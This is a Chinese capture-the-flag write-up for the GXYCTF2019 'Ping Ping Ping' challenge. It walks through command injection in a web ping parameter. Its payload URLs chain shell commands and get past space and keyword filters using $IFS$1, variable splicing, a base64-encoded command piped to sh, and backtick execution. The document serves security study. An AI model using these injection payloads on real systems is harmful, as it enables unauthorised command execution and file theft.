[GXYCTF2019]Ping Ping Ping(远程命令执行)

打开环境
在这里插入图片描述
先ping一下本地
http://0ce37cff-0de4-420e-9a38-09b7bc30030f.node3.buuoj.cn//?ip=127.0.0.1
在这里插入图片描述
利用分号执行多命令
http://0ce37cff-0de4-420e-9a38-09b7bc30030f.node3.buuoj.cn//?ip=127.0.0.1;ls
在这里插入图片描述
直接cat
http://0ce37cff-0de4-420e-9a38-09b7bc30030f.node3.buuoj.cn//?ip=127.0.0.1;cat%20flag.php
在这里插入图片描述
过滤了空格
有几个绕过空格的方法:
$IFS
${IFS}
$IFS$1 这个数字换成别的都可以
<
<>
{cat,flag.php}
%20
%09
IFS 是一种 set 变量,当 shell 处理"命令替换"和"参数替换"时,shell 根据 IFS 的值,默认是 space, tab, newline 来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量

Shell中的$0$1$2的含义
$0        Shell本身的文件名
$1$n 添加到Shell的各参数值。$1是第1参数、$2是第2参数…
$$        Shell本身的PID(ProcessID) 
$!         Shell最后运行的后台Process的PID
$?         上个命令的退出状态,或函数的返回值 $- 使用Set命令设定的Flag一览
$*         所有参数列表,不包括脚本本身。如"$*"用「"」括起来的情况、以"$1 $2$n"的形式输出所有数。
$@       所有参数列表。如"$@"用「"」括起来的情况、以"$1" "$2""$n" 的形式输出所有参数。
$#        Shell的参数个数

先使用第一个绕过方法

http://0ce37cff-0de4-420e-9a38-09b7bc30030f.node3.buuoj.cn//?ip=127.0.0.1;cat$IFSflag.php
在这里插入图片描述
看来flag也被过滤掉了

cat一下index.php
http://0ce37cff-0de4-420e-9a38-09b7bc30030f.node3.buuoj.cn//?ip=127.0.0.1;cat$IFSindex.php
没反应,换一个空格绕过方法:
http://0ce37cff-0de4-420e-9a38-09b7bc30030f.node3.buuoj.cn//?ip=127.0.0.1;cat{IFS}index.php
在这里插入图片描述
{}也被过滤了
尝试$IFS$1

http://0ce37cff-0de4-420e-9a38-09b7bc30030f.node3.buuoj.cn//?ip=127.0.0.1;cat$IFS$1index.php

在这里插入图片描述
成功打开,看来过滤了很多字符啊
方法1:

但是可以看到有一个$a的变量,可以将变量a赋值g,赋值给其他的字母全失败了,猜测是怕混淆吧,赋值给g之后$a后面就是.php,就不怕混淆了。

构造payload:
http://0ce37cff-0de4-420e-9a38-09b7bc30030f.node3.buuoj.cn//?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
flag在源码里
在这里插入图片描述
方法2:
index.php看到/bash/命令被过滤了
但是可以使用sh
先将cat flag.php base64编码Y2F0IGZsYWcucGhw
构造payload:
http://0ce37cff-0de4-420e-9a38-09b7bc30030f.node3.buuoj.cn//?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
flag在源码里
在这里插入图片描述
方法3:内联注入

http://0ce37cff-0de4-420e-9a38-09b7bc30030f.node3.buuoj.cn//?ip=127.0.0.1;cat$IFS$1`ls`

inux下反引号``里面包含的就是需要执行的系统命令

先执行反引号里面的命令,也就是先ls,然后cat两个文件。

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值